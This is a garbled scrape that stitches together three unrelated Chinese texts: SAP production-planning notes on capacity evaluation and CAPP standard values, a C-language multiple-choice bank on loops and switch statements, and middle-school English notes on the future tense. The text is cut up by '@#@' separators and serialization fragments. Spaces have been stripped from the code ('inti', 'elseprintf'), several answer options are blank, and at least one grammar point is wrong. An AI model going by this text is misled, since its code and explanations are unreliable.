@#@在SAP系统中订单 @#@@#@被创建为:
@#@ @#@@#@ 物料需求计划中的计划订单 @#@@#@ 工厂车间控制中的生产订单 @#@@#@ 工厂维护中的工厂维护订单 @#@@#@ 项目系统中的网络 @#@@#@ 订单提供排产的基本数据。
@#@订单中的工序中的标准值和数量形成了排产和计算能力需求的基 @#@@#@础。
@#@ @#@@#@ 通过R/3系统能力评估,你可以 @#@@#@ 确定可用能力 @#@@#@ 确定能力需求 @#@@#@ 把可用能力和能力需求比较 @#@@#@ 你可以通过R/3能力均衡来调整工作中心中的不足和过载能力,以及实现 @#@@#@ 最佳的机器和生产线的实行 @#@@#@ 合适资源的选择 @#@@#@ 7、CAPP标准值计算 @#@@#@ 关于CAPP标准值计算是生产计划系统(PP)的一部分,CAPP是属于生产计划(PP)的主数 @#@@#@据-包括物料主档、物料清单、工艺路线和工作中心。
@#@ @#@@#@ 工艺路线 @#@@#@ CAPP(CAPP=ComputerAidedProcessPlanning)标准值计算为工作计划确定 @#@@#@ 工艺路线中的标准值而提供了机器的支持。
@#@这些标准值是利用执行工序的 @#@@#@ 工作中心所允许的加工方法或工艺来计算的。
@#@ @#@@#@ 标准值 @#@@#@ 在SAP系统中,这些标准值用于下列公式中:
@#@ @#@@#@ 计划 @#@@#@ 能力计划 @#@@#@ 成本核算 @#@@#@ 计划 @#@@#@ 在计划中,利用一个工艺路线中的一个工序中的标准值和数量来确定该工 @#@@#@ 序的执行日期。
@#@ @#@@#@ 能力计划 @#@@#@ 在能力计划,利用一个工序中的标准值和数量来确定执行该工序的能力需求。
@#@这些需求再和 @#@@#@工作中心所定义的可用能力进行比较。
@#@ @#@@#@ 成本核算 @#@@#@ 成本核算计算当物料在本公司进行加工时所发生的成本。
@#@成本核算提供了下列各方面的基本 @#@@#@信息:
@#@ @#@@#@ 定价和定价政策 @#@@#@ 估价 @#@@#@ 成本控制 @#@@#@ 获利能力分析 @#@@#@ 工艺路线中的工序是通过成本中心和在工作中心中所维护的作业类型来与成本会计相联系 @#@@#@的。
@#@如果工作中心指明了执行一工序,那么您就可以为保存在该工作中心的作业类型而输入标准 @#@@#@值。
@#@ @#@@#@ 在产品成本核算期间,内部作业的估价是在为该作业类型所计划的比率的基础上进行的。
@#@作 @#@@#@业类型决定了标准值如何被估价。
@#@ @#@@#@";i:
17;s:
18422:
"C语言上机题库百科园第3章南信大@#@第三章@#@1.为表示关系x≥y≥z,应使用的表达式是@#@A.(x>@#@=y)&@#@&@#@(y>@#@=z)@#@B.(x>@#@=y>@#@=z)@#@C.(x>@#@=y)AND(y>@#@=z)@#@D.(x>@#@=y)&@#@(y>@#@=z)@#@2.有以下程序@#@main()@#@{inti;@#@@#@for(i=0;@#@i<@#@3;@#@i++)@#@switch(i)@#@{case1:
@#@printf("@#@%d"@#@,i);@#@@#@case2:
@#@printf("@#@%d"@#@,i);@#@@#@default:
@#@printf("@#@%d"@#@,i);@#@@#@}@#@}@#@执行后输出结果是@#@A.011122@#@B.120@#@C.012020@#@D.012@#@3.对for(表达式1;@#@;@#@表达式3)可理解为()。
@#@@#@A.for(表达式1;@#@1;@#@表达式3)@#@B.for(表达式1;@#@0;@#@表达式3)@#@C.for(表达式1;@#@表达式1;@#@表达式3)@#@D.for(表达式1;@#@表达式3;@#@表达式3)@#@4.若i为整型变量,则以下循环执行次数是()。
@#@@#@for(i=2;@#@i==0;@#@)printf("@#@%d"@#@,i--);@#@@#@A.0次@#@B.1次@#@C.无限次@#@D.2次@#@5.有以下程序段@#@intn=0,p;@#@@#@do@#@{@#@scanf("@#@%d"@#@,&@#@p);@#@@#@n++;@#@@#@}while(p!
@#@=12345&@#@&@#@n<@#@3);@#@@#@此处do-while循环的结束条件是______。
@#@@#@A.p的值等于12345并且n的值大于等于3@#@B.p的值不等于12345并且n的值小于3@#@C.p的值不等于12345或者n的值小于3@#@D.p的值等于12345或者n的值大于等于3@#@6.有以下程序段@#@intn=0,p;@#@@#@do@#@{@#@scanf("@#@%d"@#@,&@#@p);@#@@#@n++;@#@@#@}while(p!
@#@=12345&@#@&@#@n<@#@3);@#@@#@以下描述中正确的是()。
@#@@#@A.do-while循环中,根据情况可以省略while@#@B.由于do-while循环中循环体语句只能是一条可执行语句,所以循环体内不能使用复合语句@#@C.do-while循环由do开始,用while结束,在while(表达式)后面不能写分号@#@D.在do-while循环体中,一定要有能使while后面表达式的值变为零("@#@假"@#@)的操作@#@7.执行语句for(i=1;@#@i++<@#@4;@#@);@#@后变量i的值是()。
@#@@#@A.不定@#@B.3@#@C.4@#@D.5@#@8.有以下程序@#@main()@#@{@#@inta=5,b=4,c=3,d=2;@#@@#@if(a>@#@b>@#@c)@#@printf("@#@%d\n"@#@,d);@#@@#@elseif((c-1>@#@=d)==1)@#@printf("@#@%d\n"@#@,d+1);@#@@#@elseprintf("@#@%d\n"@#@,d+2);@#@@#@}@#@执行后输出结果是@#@A.2@#@B.4@#@C.编译时出错@#@D.3@#@main()@#@{intx=1,a=0,b=0;@#@@#@switch(x)@#@{case0:
@#@b++;@#@@#@case1:
@#@a++;@#@@#@case2:
@#@a++;@#@b++;@#@}printf("@#@a=%d,b=%d"@#@,a,b);@#@@#@}该程序的输出结果是()@#@A.2,2@#@B.2,1@#@C.1,1@#@D.1,0@#@10.以下程序的功能是:
@#@按顺序读入10名学生4门课程的成绩,计算出每位学生的平均分并输出,程序如下:
@#@@#@main()@#@{intn,k;@#@@#@floatscore,sum,ave;@#@@#@sum=0.0;@#@@#@for(n=1;@#@n<@#@=10;@#@n++)@#@{@#@for(k=1;@#@k<@#@=4;@#@k++)@#@{@#@scanf("@#@%f"@#@,&@#@score);@#@@#@sum+=score;@#@@#@}@#@ave=sum/4.0;@#@@#@printf("@#@NO%d:
@#@%f\n"@#@,n,ave);@#@@#@}@#@}@#@上述程序运行后结果不正确,调试中发现有一条语句出现在程序中的位置不正确。
@#@这条语句是@#@A.ave=sum/4.0@#@B.sum=0.0;@#@@#@C.sum+=score;@#@@#@D.printf("@#@NO%d:
@#@%f\n"@#@,n,ave);@#@@#@11.运行以下程序后,输出的结果是@#@main()@#@{intk=-3;@#@@#@if(k<@#@=0)@#@printf("@#@****\n"@#@);@#@@#@elseprintf("@#@&@#@&@#@&@#@&@#@\n"@#@);@#@@#@}@#@A.****@#@B.有语法错误不能通过编译@#@C.&@#@&@#@&@#@&@#@@#@D.****&@#@&@#@&@#@&@#@@#@12.下面的程序片断所表示的数学函数关系是@#@y=-1;@#@@#@if(x!
@#@=0)y=1;@#@@#@if(x>@#@0)y=1;@#@@#@elsey=0;@#@@#@A.@#@B.@#@C.@#@D.@#@13.以下程序的输出结果是@#@main()@#@{intx,i;@#@@#@for(i=1;@#@i<@#@=100;@#@i++)@#@{x=i;@#@@#@if(++x%2==0)@#@if(++x%3==0)@#@if(++x%7==0)@#@printf(“%d“,x);@#@@#@}@#@printf(“\n”);@#@@#@}@#@A.2870@#@B.3981@#@C.4284@#@D.2668@#@14.以下程序段中,与语句:
@#@k=a>@#@b?
@#@(b>@#@c?
@#@1:
@#@0):
@#@0;@#@功能相同的是()@#@A.if((a>@#@b)&@#@&@#@(b>@#@c))k=1;@#@@#@elsek=0;@#@@#@B.if((a>@#@b)||(b>@#@c))k=1;@#@@#@elsek=0;@#@@#@C.if(a>@#@b)k=1;@#@@#@elseif(b>@#@c)k=1;@#@@#@elsek=0;@#@@#@D.if(a<@#@=b)k=0;@#@@#@elseif(b<@#@=c)k=1;@#@@#@15.为了避免在嵌套的条件语句if-else中产生二义性,C语言规定:
@#@@#@else子句总是与()配对。
@#@@#@A.其之后最近的if@#@B.其之前最近的if@#@C.缩排位置相同的if@#@D.同一行上的if@#@16.t为int类型,进人下面的循环之前,t的值为0@#@while(t=1)@#@{……}@#@则以下叙述中正确的是______。
@#@@#@A.以上说法都不对@#@B.循环控制表达式的值为1@#@C.循环控制表达式的值为0@#@D.循环控制表达式不合法@#@17.以下程序段的输出结果是@#@intk,j,s;@#@@#@for(k=2;@#@k<@#@6;@#@k++,k++)@#@{s=1;@#@@#@for(j=k;@#@j<@#@6;@#@j++)@#@s+=j;@#@@#@}@#@printf(“%d\n”,s);@#@@#@A.15@#@B.10@#@C.24@#@D.9@#@18.语句while(!
@#@E);@#@中的表达式!
@#@E等价于()。
@#@@#@A.E!
@#@=1@#@B.E==0@#@C.E==1@#@D.E!
@#@=0@#@19.以下程序段的输出结果是@#@intx=3;@#@@#@do@#@{pritnf(“%3d”,x-=2);@#@@#@}while(!
@#@(--x));@#@@#@A.死循环@#@B.1-2@#@C.30@#@D.1@#@20.以下程序的运行结果是()。
@#@@#@main()@#@{@#@inti=1,sum=0;@#@@#@while(i<@#@10)sum=sum+1;@#@i++;@#@@#@printf("@#@i=%d,sum=%d"@#@,i,sum);@#@@#@}@#@A.i=10,sum=9@#@B.运行出现错误@#@C.i=2,sum=1@#@D.i=9,sum=9@#@21.设有定义:
@#@inta=1,b=2,c=3;@#@以下语句中执行效果与其它三个不同的是()@#@A.if(a>@#@b){c=a,a=b,b=c;@#@}@#@B.if(a>@#@b)c=a,a=b,b=c;@#@@#@C.if(a>@#@b){c=a;@#@a=b;@#@b=c;@#@}@#@D.if(a>@#@b)c=a;@#@a=b;@#@b=c;@#@@#@22.以下程序中,while循环的循环次数是______@#@main()@#@{@#@inti=0;@#@@#@while(i<@#@10)@#@{@#@if(i<@#@1)continue;@#@@#@if(i==5)break;@#@@#@i++;@#@@#@}@#@}@#@A.死循环,不能确定次数@#@B.6@#@C.4@#@D.1@#@23.选择结构中的条件与循环结构中循环成立的条件,在写法上可以是任一表达式,但其值只能被判断为“真”或“假”。
@#@哪个数作为逻辑“假”值()。
@#@@#@A.-1@#@B.非零的数@#@C.1@#@D.0@#@24.inta=1,b=2,c=3;@#@if(a>@#@b)a=b;@#@if(a>@#@c)a=c;@#@则a的值为()。
@#@@#@A.1@#@B.不一定@#@C.3@#@D.2@#@25.有以下程序,若想从键盘上输入数据,使变量m中的值为123,n中的值为456,p中的值为789,则正确的输入是()@#@#include<@#@stdio.h>@#@@#@intmain()@#@{@#@intm,n,p;@#@@#@scanf("@#@m=%dn=%dp=%d"@#@,&@#@m,&@#@n,&@#@p);@#@@#@printf("@#@%d%d%d\n"@#@,m,n,p);@#@@#@return0;@#@@#@}@#@A.m=123n=456p=789@#@B.m=123n=456p=789@#@C.123456789@#@D.m=123,n=456,p=789@#@26.有以下程序@#@main()@#@{@#@inti=1,j=1,k=2;@#@@#@if((j++||k++)&@#@&@#@i++)@#@printf("@#@%d,%d,%d\n"@#@,i,j,k);@#@@#@}@#@执行后输出结果是@#@A.2,2,2@#@B.2,2,3@#@C.1,1,2@#@D.2,2,1@#@27.以下程序段的输出结果为()。
@#@for(i=4;@#@i>@#@1;@#@i--)for(j=1;@#@j<@#@i;@#@j++)putchar('@#@#'@#@);@#@@#@A.######@#@B.无@#@C.#@#@D.###@#@28.有如下程序@#@main()@#@{@#@floatx=2.0,y;@#@@#@if(x<@#@0.0)y=0.0;@#@@#@elseif(x<@#@10.0)y=1.0/x;@#@@#@elsey=1.0;@#@@#@printf("@#@%f\n"@#@,y);@#@}@#@该程序的输出结果是@#@A.0.500000@#@B.0.250000@#@C.1.000000@#@D.0.000000@#@29.判断两个字符串是否相等,正确的表达方式是@#@A.while(s1=s2)@#@B.while(s1==s2)@#@C.while(strcmp(s1,s2)=0)@#@D.while(strcmp(s1,s2)==0)@#@30.若x是int类型变量,以下程序段的输出结果是@#@for(x=3;@#@x<@#@6;@#@x++)@#@printf((x%2)?
@#@(“**%d”):
@#@(“##%d\n”),x);@#@@#@A.@#@B.@#@C.@#@D.@#@31.C语言中,switch后的括号内表达式的值可以是@#@A.只能为整型和字符型@#@B.只能为整型@#@C.任何类型@#@D.只能为整型,字符型,枚举型@#@32.设j和k都是int类型,则下面的for循环语句()。
@#@@#@for(j=0,k=0;@#@j<@#@=9&@#@&@#@k!
@#@=876;@#@j++)scanf("@#@%d"@#@,&@#@k);@#@@#@A.最多执行9次@#@B.循环体一次也不执行@#@C.最多执行10次@#@D.是无限循环@#@33.inta=3,b=2,c=1;@#@if(a>@#@b>@#@c)a=b;@#@elsea=c;@#@则a的值为()。
@#@@#@A.2@#@B.3@#@C.1@#@D.0@#@34.为了避免在嵌套的条件语句if-else中产生二义性,C语言规定:
@#@else总与()配对@#@A.同一行上的if@#@B.其之后最近的if@#@C.其之前最近的未配对的if@#@D.缩排位置相同的if@#@35.以下不正确的if语句形式是()。
@#@@#@A.if(x<@#@y){x++;@#@y++;@#@}@#@B.if(x>@#@y&@#@&@#@x!
@#@=y);@#@@#@C.if(x==y)x+=y;@#@@#@D.if(x!
@#@=y)scanf("@#@%d"@#@,&@#@x)elsescanf("@#@%d"@#@,&@#@y);@#@@#@36.结构化程序设计所规定的三种基本控制结构是()。
@#@@#@A.树形、网形、环形@#@B.输入、处理、输出@#@C.主程序、子程序、函数@#@D.顺序、选择、循环@#@37.以下程序的输出结果是@#@main()@#@{inty=10@#@for(;@#@y>@#@0;@#@y--)@#@if(y%3==0)@#@{pritnf(“%d”,--y);@#@@#@continue;@#@@#@}@#@}@#@A.741@#@B.963@#@C.875421@#@D.852@#@38.以下程序的执行结果是main()@#@{intx=0,s=0;@#@@#@while(!
@#@x!
@#@=0)s+=++x;@#@@#@printf("@#@%d"@#@,s);@#@}@#@A..无限循环@#@B.0@#@C.1@#@D.语法错误@#@39.inta=1,b=2,c=3;@#@if(a>@#@c)b=a;@#@a=c;@#@c=b;@#@则c的值为()。
@#@@#@A.3@#@B.2@#@C.不一定@#@D.1@#@40.以下叙述正确的是()。
@#@@#@A.do-while语句构成的循环不能用其它语句构成的循环来代替.@#@B.用do-while语句构成的循环,在while后的表达式为零时结束循环@#@C.用do-while语句构成的循环,在while后的表达式为非零时结束循环.@#@D.do-while语句构成的循环只能用break语句退出.@#@41.假定所有变量均已正确定义,下列程序段运行后x的值是()。
@#@@#@k1=1;@#@@#@k2=2;@#@@#@k3=3;@#@@#@x=15;@#@@#@if(!
@#@k1)x--;@#@@#@elseif(k2)x=4;@#@@#@elsex=3;@#@@#@A.15@#@B.14@#@C.3@#@D.4@#@42.有以下程序,程序运行后的输出结果是()@#@#include<@#@stdio.h>@#@@#@intmain()@#@{@#@inti,j,m=1;@#@@#@for(i=1;@#@i<@#@3;@#@i++)@#@{for(j=3;@#@j>@#@0;@#@j--)@#@{if(i*j>@#@3)break;@#@@#@m*=i*j;@#@@#@}@#@}@#@printf(“m=%d\n”,m);@#@@#@return0;@#@@#@}@#@A.m=2@#@B.m=6@#@C.m=4@#@D.m=5@#@43.以下for循环的执行次数是for(x=0,y=0;@#@(y=123)&@#@&@#@(x<@#@4);@#@x++);@#@()。
@#@@#@A.4次@#@B.是无限循环@#@C.3次@#@D.循环次数不定@#@44.下列程序的输出结果是()。
@#@@#@main()@#@{@#@intx=1,y=0,a=0,b=0;@#@@#@switch(x)@#@{@#@case1:
@#@@#@switch(y)@#@{@#@case0:
@#@a++;@#@break;@#@@#@case1:
@#@b++;@#@break;@#@@#@}@#@case2:
@#@a++;@#@b++;@#@break;@#@@#@case3:
@#@a++;@#@b++;@#@break;@#@@#@}@#@printf("@#@a=%d,b=%d\n"@#@,a,b);@#@@#@}@#@A.a=2,b=1@#@B.a=2,b=2@#@C.a=1,b=0\@#@D.a=1,b=1@#@45.有以下程序,当执行程序时,按下列方式输入数据(从第1列开始,<@#@CR>@#@代表回车,注意:
@#@回车也是一个字符)@#@12<@#@CR>@#@@#@34<@#@CR>@#@@#@则输出结果是(B)@#@#include<@#@stdio.h>@#@@#@intmain()@#@{@#@chara,b,c,d;@#@@#@scanf("@#@%c%c"@#@,&@#@a,&@#@b);@#@@#@c=getchar();@#@d=getchar();@#@@#@printf("@#@%c%c%c%c\n"@#@,a,b,c,d);@#@@#@return0;@#@@#@}@#@A.12@#@34@#@B.1234@#@C.12@#@3@#@D.12@#@46.以下程序的运行结果是()。
@#@@#@main()@#@{intn;@#@@#@for(n=1;@#@n<@#@=10;@#@n++)@#@{@#@if(n%3==0)continue;@#@@#@printf("@#@%d"@#@,n);@#@@#@}@#@}@#@A.12@#@B.12457810@#@C.1234567890@#@D.369@#@47.C语言中while和do-while循环的主要区别是()。
@#@@#@A.while的循环控制条件比do-while的循环控制条件更严格@#@B.do-while的循环体至少无条件执行一次@#@C.do-while的循环体不能是复合语句@#@D.do-while允许从外部转到循环体内@#@48.以下不是无限循环的语句为()。
@#@@#@A.for(;@#@;@#@x++=i);@#@@#@B.while
(1){x++;@#@}@#@C.for(y=0,x=1;@#@x>@#@++y;@#@x=i++)i=x;@#@@#@D.for(i=10;@#@;@#@i--)sum+=i;@#@@#@49.从循环体内某一层跳出,继续执行循环外的语句是@#@A.break语句@#@B.return语句@#@C.continue语句@#@D.空语句@#@50.下列程序的输出为()。
@#@@#@main()@#@{inty=10;@#@@#@while(y--);@#@@#@printf("@#@y=%d\n"@#@,y);@#@@#@}@#@A.while构成无限循环@#@B.y=0@#@C.y=-1@#@D.y=1@#@51.有以下程序,程序运行后的输出结果是()@#@#include<@#@stdio.h>@#@@#@intmain()@#@{@#@inta=1,b=2;@#@@#@while(a<@#@6){b+=a;@#@a+=2;@#@b%=10;@#@}@#@printf(“%d,%d\n”,a,b);@#@@#@return0;@#@@#@}@#@A.5,11@#@B.6,1@#@C.7,11@#@D.7,1@#@52.在以下给出的表达式中,与do--while(E)语句中的(E)不等价的@#@表达式是()。
@#@@#@A.(E==0)@#@B.(E>@#@0||E<@#@0)@#@C.(!
@#@E==0)@#@D.(E!
@#@=0)@#@53.以下程序段的输出结果是@#@inti,j,m=0;@#@@#@for(i=1;@#@i<@#@=15;@#@i+=4)@#@for(j=3;@#@j<@#@=19;@#@j+=4)@#@m++;@#@@#@printf(“%d\n”,m);@#@@#@A.15@#@B.12@#@C.20@#@D.25@#@54.执行下列语句后的输出为()。
@#@@#@intj=-1;@#@@#@if(j<@#@=1)printf("@#@****\n"@#@);@#@@#@elseprintf("@#@%%%%\n"@#@);@#@@#@A.%%%%c@#@B.有错,执行不正确@#@C.****@#@D.%%%%@#@55.以下程序的执行结果是_______.@#@main()@#@{intnum=0;@#@@#@while(num<@#@=2){num++;@#@printf("@#@%d,"@#@,num);@#@}}@#@A.1,2,3,@#@B.1,2,3,4,@#@C.1,2,@#@D.0,1,2@#@56.下面程序的运行结果是@#@#include<@#@stdio.h>@#@@#@main()@#@{@#@inty=10;@#@@#@do{y--;@#@}while(--y);@#@@#@printf("@#@%d\n"@#@,y--);@#@@#@}@#@A.0@#@B.1@#@C.8@#@D.-1@#@57.若有定义语句inta,b;@#@doublex;@#@则下列选项中没有错误是()@#@A.switch((int)(x)%2)@#@{case0.0:
@#@a++;@#@break;@#@@#@case1.0:
@#@b++;@#@break;@#@@#@default:
@#@a++;@#@b++;@#@@#@}@#@B.switch((int)x%2)@#@{case0:
@#@a++;@#@break;@#@@#@case1:
@#@b++;@#@break;@#@@#@default:
@#@a++;@#@b++;@#@@#@}@#@C.switch(x%2)@#@{case0:
@#@a++;@#@break;@#@@#@case1:
@#@b++;@#@break;@#@@#@default:
@#@a++;@#@b++;@#@@#@}@#@D.switch((int)x%2.0)@#@{case0:
@#@a++;@#@break;@#@@#@case1:
@#@b++;@#@break;@#@@#@default:
@#@a++;@#@b++;@#@@#@58.设a、b和c都是int变量,且a=3,b=4,c=5;@#@则以下的表达式中,值为0的表达式是@#@A.a||b+c&@#@&@#@b-c@#@B.a<@#@=b@#@C.!
@#@((a<@#@b)&@#@&@#@!
@#@c||1)@#@D.a&@#@&@#@b@#@59.C语言程序的三种基本结构是顺序结构、选择结构和______结构.@#@A.递归@#@B.转移@#@C.嵌套@#@D.循环@#@60.在下述程序中,判断i>@#@j共执行了多少次@#@#include<@#@stdio.h>@#@@#@main()@#@{@#@inti=0,j=10,k=2,s=0;@#@@#@for(;@#@;@#@)@#@{@#@i+=k;@#@@#@if(i>@#@j)@#@{@#@printf(“%d\n”,s);@#@@#@break;@#@@#@}@#@s+=i;@#@@#@}@#@}@#@A.4@#@B.8@#@C.6@#@D.7@#@61.while(fabs(t)<@#@1e-5)if(!
@#@s/10)break;@#@循环结束的条件是()。
@#@@#@A.fabs(t)<@#@1e-5&@#@&@#@!
@#@s/10@#@B.fabs(t)<@#@1e-5@#@C.t>@#@=1e-5&@#@&@#@t<@#@=-1e-5&@#@&@#@s>@#@-10&@#@&@#@s<@#@10@#@D.s/10==0@#@62.以下叙述正确的是:
@#@@#@A.用do-while构成循环时,只有在while后的表达式为非零时结束循环@#@B.do-while语句构成的循环不能用其它语句构成的循环来代替。
@#@@#@C.用do-while构成循环时,只有在while后的表达式为零时结束循环@#@D.do-while语句构成的循环只能用break语句退出。
@#@@#@63.以下程序的输出结果是@#@main()@#@{inti,sum;@#@@#@for(i=1;@#@i<@#@6;@#@i++)@#@sum+=i;@#@@#@printf(“%d\n”sum);@#@@#@}@#@A.15@#@B.不确定@#@C.16@#@D.0@#@64.有以下程序,程序运行后的输出结果是()@#@#include<@#@stdio.h>@#@@#@intmain()@#@{@#@charb,c;@#@inti;@#@@#@b='@#@a'@#@;@#@c='@#@A'@#@;@#@@#@for(i=0;@#@i<@#@6;@#@i++)@#@{@#@if(i%2)putchar(i+b);@#@@#@ elseputchar(i+c);@#@@#@}@#@printf("@#@\n"@#@);@#@@#@return0;@#@@#@}@#@A.ABCDEF@#@B.aBcDeF@#@C.abcdef@#@D.AbCdEf@#@65.有如下程序@#@main()@#@{@#@intx=1,a=0,b=0;@#@@#@switch(x)@#@{@#@case0:
@#@b++;@#@@#@case1:
@#@a++;@#@@#@case2:
@#@a++;@#@b++;@#@@#@}@#@printf("@#@a=%d,b=%d\n"@#@,a,b);@#@@#@}@#@该程序的输出结果是@#@A.a=1,b=1@#@B.a=2,b=1@#@C.a=1,b=0@#@D.a=2,b=2@#@66.以下程序段中,能够正确地执行循环的是()。
@#@@#@A.staticinta;@#@while(a)@#@B.ints=6;@#@dos-=2;@#@while(s);@#@@#@C.for(i=1;@#@i>@#@10;@#@i++)@#@D.ints=6;@#@m:
@#@if(s<@#@100)exit(0);@#@elses-=2;@#@gotom:
@#@@#@判断char型变量c是否为大写字母的C的表达式是@#@A.‘A’<@#@=c<@#@=’Z’@#@B.(‘A’<@#@=c)AND(‘Z’>@#@=c)@#@C.(c>@#@=’A’)&@#@&@#@(c<@#@=’Z’)@#@D.(c>@#@=’A’)&@#@(c<@#@=’Z’)@#@下列程序的输出结果是()。
@#@@#@main()@#@{intx=1,y=0,a=0,b=0;@#@@#@switch(x)@#@{@#@case1:
@#@switch(y)@#@{@#@case0:
@#@a++;@#@break;@#@@#@case1:
@#@b++;@#@break;@#@@#@}@#@case2:
@#@a++;@#@b++;@#@break;@#@@#@case3:
@#@a++;@#@b++;@#@break;@#@@#@}@#@printf("@#@a=%d,b=%d\n"@#@,a,";i:
18;s:
12609:
"Unit1WillPeoplehaverobots英语人教版新目标@#@【同步教育信息】@#@一.本周教学内容:
@#@@#@Unit1WillPeoplehaverobots?
@#@@#@重点词汇及短语:
@#@@#@robot,papermoney,creditcard,pollution,leisuretime,less(little的比较级),building,astronaut,spacestation,Mars,fallinlovewith,pet,besides,goskating/swimming,smart,crazy,OlympicGames,predict,prediction,embarrassing,cometrue,head,personal,worth,court,Olympics,ancient,roll,wooden,knockdown,B.C.,inside,forthefirsttime,seem,beton,against,turnagainst,illegal,anyway,cleanup,allow,nowadays,serve,morethan,alone,atleast,maketimefor,faraway,cost,law@#@重点句型:
@#@@#@1.Willtherebelesspollution?
@#@@#@No,therewon’t.@#@2.Therewillbemorepollution.@#@3.Willtherebefewertrees?
@#@Yes,therewill.@#@4.Kidswon’tgotoschool.@#@Kidswillstudyathomeoncomputers.@#@重点语法:
@#@@#@1.表数量多少的比较级的使用:
@#@fewer,less.@#@2.使用“will/won’t+动词原形”表示对未来的预测。
@#@学习一般将来时的正确表达。
@#@@#@重点、难点讲解:
@#@@#@1.一般将来时:
@#@“Will+动词原形”的表达。
@#@@#@一般将来时表示将来某个时间要发生的动作或存在的状态,也表示将来经常或重复发生的动作,常与表将来的时间状语连用。
@#@@#@对将要发生的事、或打算、计划、决定要做的事情,用“begoingto+动词原形”表达。
@#@口语中多用此形式表将来,且这种表达表示一个事前考虑好的意图,相当于中文的“打算、计划、准备”。
@#@而“will/shall+动词原形”表示未经事先考虑的意图。
@#@书面语中当主语为第一人称I/we时,常用“shall”。
@#@而口语中所有人称和数都可用“will”。
@#@@#@willnot=won’t.@#@以前我们还学习过用进行时表将来的表达。
@#@@#@一般将来时句型如下:
@#@@#@
(1)肯定句:
@#@主语+will/shall+动词原形。
@#@@#@
(2)否定句:
@#@主语+will/shallnot+动词原形。
@#@@#@(3)疑问句:
@#@Will/Shall+主语+动词原形?
@#@@#@注意:
@#@对疑问句的回答用will或shall,但是在肯定回答中用不能用缩写,如I’ll,只能说“Yes,Iwill.”因为will与shall在句末不能用缩写。
@#@@#@2.“therebe”句型一般将来时的表达。
@#@@#@肯定句:
@#@Therewillbe+名词(短语)@#@否定句:
@#@Therewillnot/won’tbe+名词(短语)@#@一般疑问句:
@#@Willtherebe+名词(短语)?
@#@@#@-Yes,therewill./No,therewon’t.@#@注意:
@#@由于will后接动词原形,因此在“therebe”句型一般将来时的句中will之后用be动词的原形,即“be”一词,无论后面是单、复数或不可数名词(短语)。
@#@@#@e.g.Therewon’tbeanypapermoney.@#@Therewillonlybeonecountry.@#@Therewillbemoreleisuretime.@#@3.fewer与less及more表数量的用法。
@#@@#@
(1)few(形容词)“几乎没有,很少的”,修饰可数名词。
@#@其比较级、最高级为规则变化:
@#@few-fewer-fewest。
@#@“afew”表示“一些”,“few”带否定含义,“几乎没有”。
@#@例:
@#@afewdaysago,forafewweeks,@#@Hehasfewfriendshere.@#@Therewillbefewertrees.@#@
(2)little(形容词)“很少的,几乎没有的”(“小的,幼小的”),修饰不可数名词。
@#@其比较级、最高级为不规则变化:
@#@little-less-least。
@#@“alittle”表“一些”,“little”带否定含义,“几乎没有”。
@#@例:
@#@@#@There’slittlefoodleft.Wehavetobuysome.@#@There’salittlewaterinthecup.@#@Therewillbelesspollution.@#@Hefinisheditwithintheleasttime.@#@(3)many“许多”,修饰可数名词。
@#@much“许多”,修饰可数名词。
@#@@#@many/more比较级、最高级为不规则变化:
@#@many/much-more-most。
@#@@#@例:
@#@Ihavemanymagazines.Shehasmoremagazines.Buthehasthemost.@#@Therewillbemorepeopleontheearthinfuture.@#@Moreandmorestudentsstarttoexercisemoreeverydaytokeepfit.@#@4.@#@@#@注:
@#@except“除了”,不包含其后的事物或人,而besides表“除了”含义时包含其后的事物或人。
@#@@#@例:
@#@AllthestudentspassedtheexamexceptTom.BesidesTom,MaryandPeterwillcometothedinner.Shejustsitsbesidemeintheclassroom.We’redeskmate.NowIcan’thaveanypetsbecausemymotherhatesthem.Besides,ourapartmentistoosmall.@#@5.Predictingthefuturecanbedifficultaswellasembarrassing.Thereweremanyfamouspredictionsthatnevercametrue.JackWarner,thecreatorofWarnerBrothersmoviesintheUnitedStatessaid,“Noonewillwanttoseeactorstalk.”TheheadofthelargestcomputercompanyintheUnitedStatessaid,“Noonewillwanttohaveapersonalcomputerinhisorherhome.”In1949,theheadoftheRoyalAcademyofArtsaid,“TheworkofPicassoandMatissewillneverbeworthanything.”@#@6.IwenttoShanghailastyearandfellinlovewithit.Intenyears,I’llliveinShanghai.I’llbeareporterandmeetinterestingpeople.Also,I’llliveinanapartmentwithmybestfriends.I’llhavepets.Now,Ican’thaveanypetsbecausemymotherhatesthem.Besides,ourapartmentistoosmall.Intenyears,I’llhavemanydifferentkindsofgoldfish.Imightevenkeepapetparrot!
@#@I’llgoskatingandswimmingeveryday.DuringtheweekI’lllooksmart,butontheweekends,I’llwearcrazyclothes.I’llgotoHongKongonvacation,andonedayImightevenvisitAustralia.@#@7.Bowlingaroundtheworld@#@Bowlingisagameplayedbyrollingaheavyballdownawoodenlane.Youtrytoknockdownagroupoftenpinsplacedinatriangle.TheancientEgyptiansfirstplayeditasearlyas5200B.C.Peopleplayedinsideforthefirsttimein1455whentheybuiltthefirstbowlingalleyinEngland.EuropeansbroughtittoAmericaaboutfourhundredyearsago.Todaythegameispopularallovertheworld.Chinesearerollingtheballandlovingit.Itseemsthateveryonelovestobowl!
@#@@#@InAmericainthe1800s,bowlersbeganbettingmoneyongames.Thisturnedsomepeopleagainstbowlinganditwasmadeillegalinsomecities.Otherpeoplekeptbowlinganyway.AboutahundredyearslatertheAmericanBowlingCongress(ABC)decidedtocleanupbowlingandmakeitagentlemen’sgameagain.Nomorebettingwasallowed.Nowadaysfriendsmightplaythegamebutseldombet.@#@BowlinghasbecomeverypopularinChina.Somealleysevenhaveheatedpoolstomakepeoplecometoplay.Chineseteaandfoodareserved.Morethan80bowlingalleyshaveopenedinBeijingalone.Therewillbemanymore.Beijingalsohasabowlingalleywith100bowlinglanesononefloor,oneofthelargestintheworld.AMF,thelargestbowlingcompanyinChina,saysthereisnowonebowlinglaneforevery120,000peopleinChina.Therewillbeatleasttriplethenumberoflanesinthenext10-12years.@#@OneChinesewomanexplainedwhyshelikesbowling.“MyhusbandandIareusuallyverybusyatwork,”shesaid,“butwetrytomaketimeforfun.Bowlingissomethingthewholefamilycanenjoy.Thebowlingalleyisn’tfarawayandanightoutdoesn’tcostmuch.”@#@【模拟试题】@#@(答题时间:
@#@90分钟)@#@一.短语互译:
